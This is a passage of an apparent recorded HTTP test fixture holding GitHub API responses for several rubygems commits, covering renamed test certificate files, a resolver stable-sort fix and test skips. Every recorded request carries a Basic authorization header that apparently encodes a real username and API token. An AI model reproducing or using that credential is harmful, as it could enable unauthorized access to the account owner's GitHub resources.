couldn''t be access used by `File.expand_path` on tempdir process.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/01f7b372a703e0d286f5ad53fc47e6a96ab97d37","html_url":"https://github.com/rubygems/rubygems/commit/01f7b372a703e0d286f5ad53fc47e6a96ab97d37","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/01f7b372a703e0d286f5ad53fc47e6a96ab97d37/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"5428b6b3d24706c86b10583c76e1407b1662f90e","url":"https://api.github.com/repos/rubygems/rubygems/commits/5428b6b3d24706c86b10583c76e1407b1662f90e","html_url":"https://github.com/rubygems/rubygems/commit/5428b6b3d24706c86b10583c76e1407b1662f90e"}],"stats":{"total":14,"additions":8,"deletions":6},"files":[{"sha":"fc1cf26d1d0ebb2f4c11e6214e9723cdf6496ba8","filename":"Manifest.txt","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/01f7b372a703e0d286f5ad53fc47e6a96ab97d37/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/01f7b372a703e0d286f5ad53fc47e6a96ab97d37/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=01f7b372a703e0d286f5ad53fc47e6a96ab97d37","patch":"@@ -470,10 +470,10 @@ test/rubygems/invalidchild_key.pem\n test/rubygems/plugin/exception/rubygems_plugin.rb\n test/rubygems/plugin/load/rubygems_plugin.rb\n test/rubygems/plugin/standarderror/rubygems_plugin.rb\n+test/rubygems/private3072_key.pem\n test/rubygems/private_key.pem\n-test/rubygems/private_key3072.pem\n+test/rubygems/public3072_cert.pem\n test/rubygems/public_cert.pem\n-test/rubygems/public_cert3072.pem\n test/rubygems/public_cert_32.pem\n test/rubygems/public_key.pem\n test/rubygems/rubygems/commands/crash_command.rb"},{"sha":"e99abce69c996e2a1130264e1cd5550cd8ffa356","filename":"test/rubygems/private3072_key.pem","status":"renamed","additions":0,"deletions":0,"changes":0,"blob_url":"https://github.com/rubygems/rubygems/blob/01f7b372a703e0d286f5ad53fc47e6a96ab97d37/test/rubygems/private3072_key.pem","raw_url":"https://github.com/rubygems/rubygems/raw/01f7b372a703e0d286f5ad53fc47e6a96ab97d37/test/rubygems/private3072_key.pem","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/private3072_key.pem?ref=01f7b372a703e0d286f5ad53fc47e6a96ab97d37","previous_filename":"test/rubygems/private_key3072.pem"},{"sha":"8f769aa8b9f6514e958f1ee5292e3ac9b4998402","filename":"test/rubygems/public3072_cert.pem","status":"renamed","additions":0,"deletions":0,"changes":0,"blob_url":"https://github.com/rubygems/rubygems/blob/01f7b372a703e0d286f5ad53fc47e6a96ab97d37/test/rubygems/public3072_cert.pem","raw_url":"https://github.com/rubygems/rubygems/raw/01f7b372a703e0d286f5ad53fc47e6a96ab97d37/test/rubygems/public3072_cert.pem","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/public3072_cert.pem?ref=01f7b372a703e0d286f5ad53fc47e6a96ab97d37","previous_filename":"test/rubygems/public_cert3072.pem"},{"sha":"08854f0bf18355ff041afe486953c85894c19fda","filename":"test/rubygems/test_gem_commands_build_command.rb","status":"modified","additions":6,"deletions":4,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/01f7b372a703e0d286f5ad53fc47e6a96ab97d37/test/rubygems/test_gem_commands_build_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/01f7b372a703e0d286f5ad53fc47e6a96ab97d37/test/rubygems/test_gem_commands_build_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_build_command.rb?ref=01f7b372a703e0d286f5ad53fc47e6a96ab97d37","patch":"@@ -118,13 +118,15 @@ def test_execute_force\n util_test_build_gem @gem, gemspec_file, false\n end\n \n+ CERT_FILE = cert_path ''public3072''\n+ SIGNING_KEY = key_path ''private3072''\n+\n def test_build_signed_gem\n- cert_file = File.expand_path(''../public_cert3072.pem'', __FILE__)\n trust_dir = Gem::Security.trust_dir\n \n spec = util_spec ''some_gem'' do |s|\n- s.signing_key = File.expand_path(''../private_key3072.pem'', __FILE__)\n- s.cert_chain = [cert_file]\n+ s.signing_key = SIGNING_KEY\n+ s.cert_chain = [CERT_FILE]\n end\n \n gemspec_file = File.join(@tempdir, spec.spec_name)\n@@ -135,7 +137,7 @@ def test_build_signed_gem\n \n util_test_build_gem spec, gemspec_file\n \n- trust_dir.trust_cert OpenSSL::X509::Certificate.new(File.read(cert_file))\n+ trust_dir.trust_cert OpenSSL::X509::Certificate.new(File.read(CERT_FILE))\n \n gem = Gem::Package.new(File.join(@tempdir, spec.file_name),\n Gem::Security::HighSecurity)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:19 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/5428b6b3d24706c86b10583c76e1407b1662f90e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:19 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4367' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e9bd6abcb708b5238a54c8a0d8686472" Last-Modified: - Tue, 15 Aug 2017 12:51:06 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.032510' X-Github-Request-Id: - A352:4D97:903D4D:1C489E0:5A50E483 body: encoding: ASCII-8BIT string: '{"sha":"5428b6b3d24706c86b10583c76e1407b1662f90e","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-09T09:12:20Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-15T12:51:06Z"},"message":"Use File.expand_path for certification and key location.\n\n Because directory structure of ruby core needs to relative path.","tree":{"sha":"9ea187e3f276164654483012f20ade42c91e2811","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9ea187e3f276164654483012f20ade42c91e2811"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5428b6b3d24706c86b10583c76e1407b1662f90e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5428b6b3d24706c86b10583c76e1407b1662f90e","html_url":"https://github.com/rubygems/rubygems/commit/5428b6b3d24706c86b10583c76e1407b1662f90e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5428b6b3d24706c86b10583c76e1407b1662f90e/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"d8bad8f86188251e48f30baf72a9da8a483f4795","url":"https://api.github.com/repos/rubygems/rubygems/commits/d8bad8f86188251e48f30baf72a9da8a483f4795","html_url":"https://github.com/rubygems/rubygems/commit/d8bad8f86188251e48f30baf72a9da8a483f4795"}],"stats":{"total":7,"additions":2,"deletions":5},"files":[{"sha":"1c566dd273d37421ed7a20c84e6f4d3feb6c7df5","filename":"test/rubygems/test_gem_commands_build_command.rb","status":"modified","additions":2,"deletions":5,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/5428b6b3d24706c86b10583c76e1407b1662f90e/test/rubygems/test_gem_commands_build_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5428b6b3d24706c86b10583c76e1407b1662f90e/test/rubygems/test_gem_commands_build_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_build_command.rb?ref=5428b6b3d24706c86b10583c76e1407b1662f90e","patch":"@@ -119,13 +119,11 @@ def test_execute_force\n end\n \n def test_build_signed_gem\n- cert_file = File.join(@current_dir, ''test'', ''rubygems'',\n- ''public_cert3072.pem'')\n+ cert_file = File.expand_path(''../public_cert3072.pem'', __FILE__)\n trust_dir = Gem::Security.trust_dir\n \n spec = util_spec ''some_gem'' do |s|\n- s.signing_key = File.join(@current_dir, ''test'', ''rubygems'',\n- ''private_key3072.pem'')\n+ s.signing_key = File.expand_path(''../private_key3072.pem'', __FILE__)\n s.cert_chain = [cert_file]\n end\n \n@@ -145,4 +143,3 @@ def test_build_signed_gem\n end\n \n end\n-"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:19 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d8bad8f86188251e48f30baf72a9da8a483f4795 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:19 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4366' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"575f798120259f8101bb255a87632884" Last-Modified: - Sat, 12 Aug 2017 01:03:00 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.036894' X-Github-Request-Id: - C624:4D97:903D5B:1C489F8:5A50E483 body: encoding: ASCII-8BIT string: '{"sha":"d8bad8f86188251e48f30baf72a9da8a483f4795","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-12T01:03:00Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-12T01:03:00Z"},"message":"Auto merge of #1981 - hsbt:backport-r59502, r=segiddins\n\nPicked commit from ruby/ruby@41e1670\n\n# Description:\n\nPicked commit from ruby/ruby@41e1670\n\nThis is patch for https://github.com/rubygems/rubygems/issues/1980\n\n```\n* lib/rubygems/resolver.rb (sort_dependencies): use stable sort.\n TestGemRequestSetLockfile#test_to_s_gem_dependency_non_default\n fails because this method return unstable results.\n Note that Enumerable#sort_by is unstable.\n\n I''m not sure the \"stable\" nature is required for RubyGems.\n The fact is that using stable sort, the test passed on\n mswin64+VS2017 where the sort results was reverse (unstable) order.\n Also using `-i` instead of `i` (it means forcing unstable sort)\n this test fails on other platform where the test successed before.\n```\n\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"0093574b3d0db556dc82919346d13632b5bb26c1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0093574b3d0db556dc82919346d13632b5bb26c1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d8bad8f86188251e48f30baf72a9da8a483f4795","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d8bad8f86188251e48f30baf72a9da8a483f4795","html_url":"https://github.com/rubygems/rubygems/commit/d8bad8f86188251e48f30baf72a9da8a483f4795","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d8bad8f86188251e48f30baf72a9da8a483f4795/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"4cecb89013443007a71d7751aeb78007acd4aa66","url":"https://api.github.com/repos/rubygems/rubygems/commits/4cecb89013443007a71d7751aeb78007acd4aa66","html_url":"https://github.com/rubygems/rubygems/commit/4cecb89013443007a71d7751aeb78007acd4aa66"},{"sha":"a1a878768345aeaf81d03e1c6b792060781aab4f","url":"https://api.github.com/repos/rubygems/rubygems/commits/a1a878768345aeaf81d03e1c6b792060781aab4f","html_url":"https://github.com/rubygems/rubygems/commit/a1a878768345aeaf81d03e1c6b792060781aab4f"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"88519ac56fc75430ddf6a5c39328921580c29479","filename":"lib/rubygems/resolver.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/d8bad8f86188251e48f30baf72a9da8a483f4795/lib/rubygems/resolver.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d8bad8f86188251e48f30baf72a9da8a483f4795/lib/rubygems/resolver.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/resolver.rb?ref=d8bad8f86188251e48f30baf72a9da8a483f4795","patch":"@@ -275,13 +275,14 @@ def allow_missing?(dependency)\n end\n \n def sort_dependencies(dependencies, activated, conflicts)\n- dependencies.sort_by do |dependency|\n+ dependencies.sort_by.with_index do |dependency, i|\n name = name_for(dependency)\n [\n activated.vertex_named(name).payload ? 0 : 1,\n amount_constrained(dependency),\n conflicts[name] ? 0 : 1,\n activated.vertex_named(name).payload ? 0 : search_for(dependency).count,\n+ i # for stable sort\n ]\n end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:19 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/4cecb89013443007a71d7751aeb78007acd4aa66 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:19 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4365' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f1f03ffccea1342cb17c33d590688962" Last-Modified: - Fri, 11 Aug 2017 14:34:41 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042263' X-Github-Request-Id: - C626:4D95:F48A19:1C84E2D:5A50E483 body: encoding: ASCII-8BIT string: '{"sha":"4cecb89013443007a71d7751aeb78007acd4aa66","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-11T14:34:41Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-11T14:34:41Z"},"message":"Auto merge of #1986 - hsbt:detects-ruby-core-env, r=segiddins\n\nIgnored `test_realworld_default_gem` with ruby-head\n\n# Description:\n\nI ignored `test_realworld_default_gem`. Because default gem was enabled after ruby installation that is `make install`. It test always fail with ruby core test suite.\n\nsee also failing results: https://travis-ci.org/ruby/ruby/builds/257589943#L6992\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"c10af72bd326cc3230648ac0879b936c51023745","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c10af72bd326cc3230648ac0879b936c51023745"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4cecb89013443007a71d7751aeb78007acd4aa66","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4cecb89013443007a71d7751aeb78007acd4aa66","html_url":"https://github.com/rubygems/rubygems/commit/4cecb89013443007a71d7751aeb78007acd4aa66","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4cecb89013443007a71d7751aeb78007acd4aa66/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"8be3cde246f62efe452ce63181e243a56bc99bde","url":"https://api.github.com/repos/rubygems/rubygems/commits/8be3cde246f62efe452ce63181e243a56bc99bde","html_url":"https://github.com/rubygems/rubygems/commit/8be3cde246f62efe452ce63181e243a56bc99bde"},{"sha":"0dafce8188691a7b942ed4724a0d0e462e74a809","url":"https://api.github.com/repos/rubygems/rubygems/commits/0dafce8188691a7b942ed4724a0d0e462e74a809","html_url":"https://github.com/rubygems/rubygems/commit/0dafce8188691a7b942ed4724a0d0e462e74a809"}],"stats":{"total":6,"additions":6,"deletions":0},"files":[{"sha":"edb36f1f324f332b8e407f35f945f6aa63e7cca3","filename":"test/rubygems/test_require.rb","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/4cecb89013443007a71d7751aeb78007acd4aa66/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4cecb89013443007a71d7751aeb78007acd4aa66/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=4cecb89013443007a71d7751aeb78007acd4aa66","patch":"@@ -303,6 +303,12 @@ def test_default_gem_only\n \n def test_realworld_default_gem\n skip \"no default gems on ruby < 2.0\" unless RUBY_VERSION >= \"2\"\n+ begin\n+ gem ''json''\n+ rescue Gem::MissingSpecError\n+ skip \"default gems are only available after ruby installation\"\n+ end\n+\n cmd = <<-RUBY\n $stderr = $stdout\n require \"json\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:19 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8be3cde246f62efe452ce63181e243a56bc99bde body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:20 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4364' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"042c5911ecc382998f572ce7680e1d88" Last-Modified: - Fri, 11 Aug 2017 13:49:19 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040768' X-Github-Request-Id: - C628:4D94:4F0360:B30B40:5A50E483 body: encoding: ASCII-8BIT string: '{"sha":"8be3cde246f62efe452ce63181e243a56bc99bde","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-11T13:49:19Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-11T13:49:19Z"},"message":"Auto merge of #1979 - anantkolvankar:master, r=segiddins\n\nAdded message to uninstall command for gem that is not installed.\n\nWhen we try to uninstall a gem that''s not installed, we don''t get any message.\n\nAssuming I don''t have `day_greeter` gem installed in my machine.\n> [anant@localhost ~]# gem uninstall day_greeter\n> [anant@localhost ~]#\n\nwith below changes it will be like this\n> [anant@localhost ~]# gem uninstall day_greeter\n> Gem ''day_greeter'' is not installed\n> [anant@localhost ~]#","tree":{"sha":"f74296cbcee4b7a713514faac6ee43a883ced721","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f74296cbcee4b7a713514faac6ee43a883ced721"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8be3cde246f62efe452ce63181e243a56bc99bde","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8be3cde246f62efe452ce63181e243a56bc99bde","html_url":"https://github.com/rubygems/rubygems/commit/8be3cde246f62efe452ce63181e243a56bc99bde","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8be3cde246f62efe452ce63181e243a56bc99bde/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.git